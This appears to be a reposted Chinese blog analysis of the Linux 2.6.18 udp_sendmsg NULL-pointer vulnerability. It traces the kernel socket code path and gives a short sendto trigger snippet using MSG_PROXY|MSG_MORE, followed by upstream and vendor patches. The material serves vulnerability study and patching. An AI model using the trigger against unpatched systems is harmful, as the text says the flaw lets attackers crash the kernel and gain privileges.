udp_sendmsg空指针漏洞分析    by wzt

漏洞描述:

由于Linux ipv4协议栈中udp_sendmsg()函数设计上存在缺陷, 导致struct rtable *rt以空指针形式传递给ip_append_data(), 从而引发kernel oops, 
攻击者可以利用此漏洞提升进程权限。漏洞影响2.6.19以下的版本。

漏洞成因:

>> linux+v2.6.18/net/ipv4/udp.c

int udp_sendmsg(struct kiocb *iocb, struct sock *sk, struct msghdr *msg,
size_t len)
{
...
// rt被初始化成NULL
struct rtable *rt = NULL;
...
// Linux udp协议允许多个udp数据包合并成一个发送出去,提高发送效率。
// 判断是否有更多的数据需要发送, 攻击者可以构造多个sendto/sendmsg调用, 并且配合MSG_PROXY|MSG_MORE标志, 进而绕过对rt的设置。
if (up->pending) {
/*
* There are pending frames.
* The socket lock must be held while it's corked.
*/
lock_sock(sk);
if (likely(up->pending)) {
if (unlikely(up->pending != AF_INET)) {
release_sock(sk);
return -EINVAL;
}
// 将数据发送出去
goto do_append_data;
}
release_sock(sk);
}

...
// rt直接以NULL传递给ip_append_data, ip_append_data没有判断空指针情况, 从而引发漏洞
do_append_data:
up->len += ulen;
err = ip_append_data(sk, ip_generic_getfrag, msg->msg_iov, ulen,
sizeof(struct udphdr), &ipc, rt,
corkreq ? msg->msg_flags|MSG_MORE : msg->msg_flags);
...
}

如何触发漏洞:

if((fd=socket(PF_INET,SOCK_DGRAM,0))==-1){
perror("[-] socket()");
return -1;
}
x0x.sa_family=AF_UNSPEC;
memset(x0x.sa_data,0x82,14);
memset((char *)buf,0,sizeof(buf));
sendto(fd,buf,1024,MSG_PROXY | MSG_MORE,&x0x,sizeof(x0x));
sendto(fd,buf,1024,0,&x0x,sizeof(x0x));

socket的中断服务程序是sys_socketcall, 在linux-2.6.18/net/socket.c中:

>> sys_socketcall将会调用sys_socket
asmlinkage long sys_socketcall(int call, unsigned long __user *args)
{
...
switch(call)
{
case SYS_SOCKET:
err = sys_socket(a0,a1,a[2]);
break;
...

}

>> sys_socket调用sock_create进行初始化, 然后调用sock_map_fd与sockfs文件系统进行挂接。
asmlinkage long sys_socket(int family, int type, int protocol)
{
int retval;
struct socket *sock;

retval = sock_create(family, type, protocol, &sock);
if (retval < 0)
goto out;

retval = sock_map_fd(sock);
if (retval < 0)
goto out_release;

out:
/* It may be already another descriptor 8) Not kernel problem. */
return retval;

out_release:
sock_release(sock);
return retval;
}

>> sock_create
int sock_create(int family, int type, int protocol, struct socket **res)
{
return __sock_create(family, type, protocol, res, 0);
}

>> __sock_create
static int __sock_create(int family, int type, int protocol, struct socket **res, int kern)
{
// 分配sock结构并进行填充
if (!(sock = sock_alloc())) {
if (net_ratelimit())
printk(KERN_WARNING "socket: no more sockets\n");
err = -ENFILE;          /* Not exactly a match, but its the closest posix thing */
goto out;
}

...
// 这里进行具体协议的初始化操作, 执行ipv4驱动的create函数, 这个指针是在ipx驱动加载到内核时初始化的
if ((err = net_families[family]->create(sock, protocol)) < 0) {
sock->ops = NULL;
goto out_module_put;
}
...
}

继续跟踪ipv4驱动的初始化过程, /linux-2.6.18/net/ipv4/af_inet.c:
static int __init inet_init(void)
{
// 注册ipv4的struct net_proto_family操作函数
(void)sock_register(&inet_family_ops);
}

>> sock_register
int sock_register(struct net_proto_family *ops)
{
...
net_family_write_lock();
err = -EEXIST;
if (net_families[ops->family] == NULL) {
//将ops指针赋值给net_families[ops->family]
net_families[ops->family]=ops;
err = 0;
}
}

// 从这里可以看出__sock_create中的net_families[family]->create函数是在这里进行初始化的。
static struct net_proto_family inet_family_ops = {
.family = PF_INET,
.create = inet_create,
.owner  = THIS_MODULE,
};

继续跟踪inet_create函数:

static int inet_create(struct socket *sock, int protocol)
{
struct sock *sk;
struct list_head *p;
struct inet_protosw *answer;
struct inet_sock *inet;
struct proto *answer_prot;

...
// 设置sock->ops;
sock->ops = answer->ops;
...
// 设置sk->sk_prot
sk = sk_alloc(PF_INET, GFP_KERNEL, answer_prot, 1);

...
}

onst struct proto_ops inet_dgram_ops = {
.family            = PF_INET,
.owner             = THIS_MODULE,
.release           = inet_release,
.bind              = inet_bind,
.connect           = inet_dgram_connect,
.socketpair        = sock_no_socketpair,
.accept            = sock_no_accept,
.getname           = inet_getname,
.poll              = udp_poll,
.ioctl             = inet_ioctl,
.listen            = sock_no_listen,
.shutdown          = inet_shutdown,
.setsockopt        = sock_common_setsockopt,
.getsockopt        = sock_common_getsockopt,
.sendmsg           = inet_sendmsg,
.recvmsg           = sock_common_recvmsg,
.mmap              = sock_no_mmap,
.sendpage          = inet_sendpage,
#ifdef CONFIG_COMPAT
.compat_setsockopt = compat_sock_common_setsockopt,
.compat_getsockopt = compat_sock_common_getsockopt,
#endif
};

static struct inet_protosw inetsw_array[] =
{
{
.type =       SOCK_STREAM,
.protocol =   IPPROTO_TCP,
.prot =       &tcp_prot,
.ops =        &inet_stream_ops,
.capability = -1,
.no_check =   0,
.flags =      INET_PROTOSW_PERMANENT |
INET_PROTOSW_ICSK,
},

{
.type =       SOCK_DGRAM,
.protocol =   IPPROTO_UDP,
.prot =       &udp_prot,
.ops =        &inet_dgram_ops,
.capability = -1,
.no_check =   UDP_CSUM_DEFAULT,
.flags =      INET_PROTOSW_PERMANENT,
},

{
.type =       SOCK_RAW,
.protocol =   IPPROTO_IP,        /* wild card */
.prot =       &raw_prot,
.ops =        &inet_sockraw_ops,
.capability = CAP_NET_RAW,
.no_check =   UDP_CSUM_DEFAULT,
.flags =      INET_PROTOSW_REUSE,
}
};

通过inet_register_protosw函数将以上数据结构关联起来,sys_sendto函数将会用到。

asmlinkage long sys_sendto(int fd, void __user * buff, size_t len, unsigned flags,
struct sockaddr __user *addr, int addr_len)
{
...
err = sock_sendmsg(sock, &msg, len);
...
}

int sock_sendmsg(struct socket *sock, struct msghdr *msg, size_t size)
{
...
ret = __sock_sendmsg(&iocb, sock, msg, size);
...
}

static inline int __sock_sendmsg(struct kiocb *iocb, struct socket *sock,
struct msghdr *msg, size_t size)
{
...
// 通过前面的分析可以知道sock->ops->sendmsg函数调用的就是udp_sendmsg(), 此函数存在设计缺陷, 从而引发漏洞。
return sock->ops->sendmsg(iocb, sock, msg, size);
...
}

如何修补:

一、Linux kernel社区已经发出补丁:

http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=blobdiff;f=net/ipv4/udp.c;h=865d75214a9ab1d741f3d8351359e95a0d8394e7;hp=6d6142f9c478baa8c85dcf1d174a5a88f66d783a;hb=1e0c14f49d6b393179f423abbac47f85618d3d46;hpb=132a55f3c5c0b1a364d32f65595ad8838c30a60e

diff --git a/net/ipv4/udp.c b/net/ipv4/udp.c
index 6d6142f..865d752 100644 (file)

--- a/net/ipv4/udp.c
+++ b/net/ipv4/udp.c
@@ -675,6 +675,8 @@ do_append_data:
udp_flush_pending_frames(sk);
else if (!corkreq)
err = udp_push_pending_frames(sk, up);
+       else if (unlikely(skb_queue_empty(&sk->sk_write_queue)))
+               up->pending = 0;
release_sock(sk);

out:

二、redhat补丁 RHSA-2009:1223 – Security Advisory  https://rhn.redhat.com/rhn/errata/details/Packages.do?eid=8969

三、 邮件列表给出的另一个补丁, 只能用在最新的内核上, 所以并不是这个漏洞的补丁。

diff -r b3cbf0ceeb34 net/ipv4/ip_output.c
--- a/net/ipv4/ip_output.c      Mon Aug 24 14:48:29 2009 +0200
+++ b/net/ipv4/ip_output.c      Thu Aug 27 15:20:36 2009 +0200
@@ -814,6 +814,8 @@
inet->cork.addr = ipc->addr;
}
rt = *rtp;
+               if (unlikely(!rt))
+                       return -EFAULT;
/*
* We steal reference to this route, caller should not release it
*/

[轉]udp_sendmsg空指针漏洞分析 by wzt的更多相关文章

  1. Zabbix 漏洞分析

    之前看到Zabbix 出现SQL注入漏洞,自己来尝试分析. PS:我没找到3.0.3版本的 Zabbix ,暂用的是zabbix 2.2.0版本,如果有问题,请大牛指点. 0x00 Zabbix简介 ...

  2. PHPCMS \phpcms\modules\member\index.php 用户登陆SQL注入漏洞分析

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述2. 漏洞触发条件 0x1: POC http://localhost/p ...

  3. CVE-2016-0143 漏洞分析(2016.4)

    CVE-2016-0143漏洞分析 0x00 背景 4月20日,Nils Sommer在exploitdb上爆出了一枚新的Windows内核漏洞PoC.该漏洞影响所有版本的Windows操作系统,攻击 ...

  4. Java反序列化漏洞分析

    相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...

  5. CVE-2014-1767 漏洞分析(2015.1)

    CVE-2014-1767 漏洞分析 1. 简介 该漏洞是由于Windows的afd.sys驱动在对系统内存的管理操作中,存在着悬垂指针的问题.在特定情况下攻击者可以通过该悬垂指针造成内存的doubl ...

  6. CVE-2014-4115漏洞分析(2014.11)

    CVE-2014-4115漏洞分析 一.简介 该漏洞是由于Windows的Fastfat.sys组件在处理FAT32格式的硬盘分区存在问题.攻击者利用成功可导致权限提升. 影响的系统包括: Windo ...

  7. FFmpeg任意文件读取漏洞分析

    这次的漏洞实际上与之前曝出的一个 CVE 非常之类似,可以说是旧瓶装新酒,老树开新花. 之前漏洞的一篇分析文章: SSRF 和本地文件泄露(CVE-2016-1897/8)http://static. ...

  8. CVE-2016-10190 FFmpeg Http协议 heap buffer overflow漏洞分析及利用

    作者:栈长@蚂蚁金服巴斯光年安全实验室 -------- 1. 背景 FFmpeg是一个著名的处理音视频的开源项目,非常多的播放器.转码器以及视频网站都用到了FFmpeg作为内核或者是处理流媒体的工具 ...

  9. Oracle漏洞分析(tns_auth_sesskey)

    p216 Oracle漏洞分析: 开启oracle: C:\oracle\product\\db_1\BIN\sqlplus.exe /nolog conn sys/mima1234 as sysdb ...

随机推荐

  1. Oracle数据库(一)--Oracle简介及安装

    一.Oracle简介 Oracle是美国一家著名的软件公司,也是世界上排名前三的软件公司(微软,Oracle,Adobe).Oracle数据库是一个大型的关系型数据库,在一些大型的企业之中使用的会比较 ...

  2. python排序参数key以及lambda函数

    首先,lambda格式 lambda x:x+1, 前面的x相当于传入的形参,后面的相当于返回值, 使用起来很简单,只要明白“:”前后的含义即可正确使用. 再来说一下排序等函数中的key,这里以lis ...

  3. matploylib之热力图

    刚学我也不熟,做个笔记吧 # coding:utf-8 import numpy as np import matplotlib.pyplot as plt dx = 0.01 dy = 0.01 # ...

  4. koa2入门笔记

    [TOC] 一 什么是koa koa是基于nodejs的web框架, 是一个中间件框架. 二 中间件 Koa 中间件是简单的函数,它是带有 (ctx, next)形参 的函数. 可以采用两种不同的方法 ...

  5. send csv to es with filebeat

    ## filebeat *.csv 2019-11-30 23:27:50,111111,222222,VIEW,333333333333 filebeat filebeat.inputs:- pat ...

  6. 2018-5-26-Latex-去掉行号

    title author date CreateTime categories Latex 去掉行号 lindexi 2018-05-26 10:32:25 +0800 2018-2-13 17:23 ...

  7. 最长上升子序列(LIS)长度及其数量

    例题51Nod-1376,一个经典问题,给出一个序列问该序列的LIS以及LIS的数量. 这里我学习了两种解法,思路和代码都是参考这两位大佬的: https://www.cnblogs.com/reve ...

  8. 力扣——single number (只出现一次的数字) python实现

    题目描述: 中文: 给定一个非空整数数组,除了某个元素只出现一次以外,其余每个元素均出现两次.找出那个只出现了一次的元素. 说明: 你的算法应该具有线性时间复杂度. 你可以不使用额外空间来实现吗? 英 ...

  9. curl分析请求的各个部分耗时情况

    curl 命令提供了 -w 参数,解释如下 -w, --write-out Make curl display information on stdout after a completed tran ...

  10. Spring、SpringMVC、SpringBoot、SpringCloud概述

    spring和springMvc: 1. spring是一个一站式的轻量级的java开发框架,核心是控制反转(IOC)和面向切面(AOP),针对于开发的WEB层(springMvc).业务层(Ioc) ...